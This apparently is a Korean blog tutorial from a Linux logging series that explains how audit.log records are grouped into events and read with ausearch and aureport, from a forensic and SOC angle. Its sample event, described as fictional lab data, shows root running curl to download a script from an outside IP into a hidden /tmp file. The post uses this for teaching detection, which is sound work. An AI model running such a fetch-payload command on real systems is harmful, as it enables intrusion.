Linux 로그 경로 정리 · 38/50 · Part 4. journald / rsyslog / auditd

선행 학습 → 37. auditd 구조 이해
이번 글 → audit.log 경로와 구조
이어서 → 39. auditd로 execve 추적

1. 들어가며

audit.log 는 처음 보면 암호문 같습니다. 16진수, 숫자 UID, 여러 줄로 쪼개진 이벤트… 하지만 구조는 단순합니다. 같은 msg=audit(시각:번호) 를 가진 줄들이 하나의 이벤트이고, 각 줄은 이벤트의 한 측면(무엇을 호출했나, 인자는, 어느 디렉터리에서, 어떤 파일을)입니다.

핵심 요약

  • 이벤트 ID = audit(epoch.ms:serial) → 여러 레코드를 묶는 키
  • 실행 이벤트 = SYSCALL + EXECVE + CWD + PATH + PROCTITLE
  • 원시 로그는 직접 읽지 말고 ausearch -i (해석) · aureport (요약)로 본다.

2. 핵심 개념

레코드 타입내용핵심 필드
SYSCALL시스템 콜 호출 정보syscall, success, auid, uid, pid, ppid, exe, key
EXECVE실행 인자argc, a0 a1 ... (hex 인코딩될 수 있음)
CWD작업 디렉터리cwd
PATH관련 파일name, inode, mode, ouid, nametype
PROCTITLE전체 명령줄hex → -i 로 복원
SOCKADDR소켓 주소saddr (hex → IP/포트)
USER_AUTH / USER_LOGIN / USER_STARTPAM 인증·로그인·세션acct, addr, res
USER_CMDsudo 실행cmd (hex)
ADD_USER / ADD_GROUP계정 변경acct
CONFIG_CHANGE감사 규칙 변경op
DAEMON_START / DAEMON_ENDauditd 시작/종료

3. 로그 생성 구조

audit.log 레코드 구조

하나의 이벤트 (serial 2050)
┌─ type=SYSCALL   ... syscall=59(execve) auid=1001 uid=0 pid=4188 ppid=4151 exe=/usr/bin/curl key=exec_log
├─ type=EXECVE    ... argc=5 a0="curl" a1="-s" a2="http://198.51.100.23/x.sh" a3="-o" a4="/tmp/.x.sh"
├─ type=CWD       ... cwd="/root"
├─ type=PATH      ... item=0 name="/usr/bin/curl" inode=819589 mode=0100755
└─ type=PROCTITLE ... proctitle=6375726C202D73...   (hex = "curl -s http://...")
        모두 msg=audit(1789838170.000:2050)

4. 실제 로그 경로

/var/log/audit/audit.log          현재
/var/log/audit/audit.log.1 ~ .4   auditd 자체 순환 (num_logs=5 → 현재 + 4개)
ausearch -if <file>               수집한 사본 파일 분석 (원본 대신)

5. 명령어 실습

A=/var/log/audit/audit.log

# 이벤트 ID 로 묶어 보기 (-a serial), 해석 (-i)
ausearch -a 2050 -i

# 키 / 사용자 / 프로그램 / 시간으로 찾기
ausearch -k exec_log -ts today -i
ausearch -ua 1001 -ts 02:10:00 -te 02:35:00 -i       # auid 기준
ausearch -c curl -i                                   # comm 기준
ausearch -m USER_AUTH,USER_LOGIN -sv no -i            # 실패한 인증

# 요약 리포트
aureport -x --summary -i          # 실행 파일별
aureport -k --summary -i          # key 별
aureport --auth -i | tail         # 인증
aureport --failed --summary -i

# 수집 사본 분석 (포렌식)
ausearch -if /evidence/case-0920/work/audit.log -k log_tamper -i

6. 로그 예시

실제 실행 결과 — Rocky Linux 9.8 · root@rocky9-lab — audit 설정/경로

위 이미지는 Rocky Linux 9.8 실습 환경에서 audit.log 구조를 실제로 확인한 결과입니다.

아래는 이 시리즈의 실습 시나리오 감사 로그(직접 작성한 가상 데이터) 를 Rocky 9.8의 ausearch / aureport 로 실제 해석한 출력입니다.

[실제 실행 결과 · 입력: 실습용 가상 audit.log]
$ ausearch -if audit.log -a 2050 -i      (일부 필드 생략)
type=PROCTITLE msg=audit(09/20/26 02:16:10.000:2050) : proctitle=curl -s http://198.51.100.23/x.sh -o /tmp/.x.sh
type=CWD msg=audit(09/20/26 02:16:10.000:2050) : cwd=/root
type=EXECVE msg=audit(09/20/26 02:16:10.000:2050) : argc=5 a0=curl a1=-s a2=http://198.51.100.23/x.sh a3=-o a4=/tmp/.x.sh
type=SYSCALL msg=audit(09/20/26 02:16:10.000:2050) : arch=x86_64 syscall=execve success=yes exit=0 ... ppid=4151 pid=4188 auid=deploy uid=root ...

$ aureport -if audit.log -k --summary -i
total  key
5  exec_log
1  priv_esc
1  user_mod
1  cron_mod
1  net_out
1  log_tamper

7. 로그 필드 분석

원시 값-i 해석의미
audit(1789838170.000:2050)09/20/26 02:16:10실행 환경 TZ(KST)로 변환된 시각
syscall=59execve프로그램 실행
auid=1001deploy최초 로그인 사용자
uid=0root실행 권한
proctitle=6375...curl -s http://...전체 명령줄

-i 의 UID→이름 변환은 분석하는 서버의 /etc/passwd 기준입니다. 다른 서버에서 사본을 분석하면 이름이 틀릴 수 있으므로 원본 서버의 /etc/passwd 사본을 함께 수집하거나 ENRICHED 형식의 해석값을 사용합니다.

8. 보안관점

정상의심
serial이 연속 증가serial 큰 공백 (레코드 유실/삭제)
DAEMON_START 가 부팅 시에만운영 중 DAEMON_END / CONFIG_CHANGE op=remove_rule
관리 도구 실행로그인 사용자 auid로 /tmp·숨김 경로 실행

9. SOC 관점

  • SIEM 파싱: Wazuh의 auditd decoder는 여러 레코드를 한 이벤트로 묶어 audit.key, audit.exe, audit.auid 필드를 만든다 → 이 필드로 룰 작성(47편 실측).
  • Investigation: aureport -k --summary 로 어떤 규칙이 걸렸는지 먼저 파악 → key별 상세 조회.
  • Evidence: 해석 출력(-i)과 원시 레코드를 함께 보존한다(원시가 원본 증거).

10. 실습 체크리스트

[ ] 이벤트 ID(시각:serial)로 레코드 묶기
[ ] SYSCALL / EXECVE / CWD / PATH / PROCTITLE 역할 구분
[ ] ausearch -a / -k / -ua / -c / -m 사용
[ ] aureport -x / -k / --auth 요약
[ ] -if 로 수집 사본 분석
[ ] -i 해석의 TZ·UID 매핑 주의점 설명

11. 핵심 정리

  • audit.log는 같은 이벤트 ID를 공유하는 여러 레코드로 구성된다.
  • 실행 이벤트는 SYSCALL·EXECVE·CWD·PATH·PROCTITLE의 조합이다.
  • ausearch -i 로 해석하고 aureport 로 요약한다.
  • 해석 결과는 분석 환경의 TZ와 사용자 DB에 의존한다.
  • serial 공백·auditd 종료·규칙 변경 레코드는 무결성 경보 대상이다.

12. 다음 편 연결

구분글
◀ 이전 글37. auditd 구조 이해
▶ 다음 글39. auditd로 execve 추적
시리즈Linux 로그 경로 정리 전체 보기
선행 시리즈리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초
profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글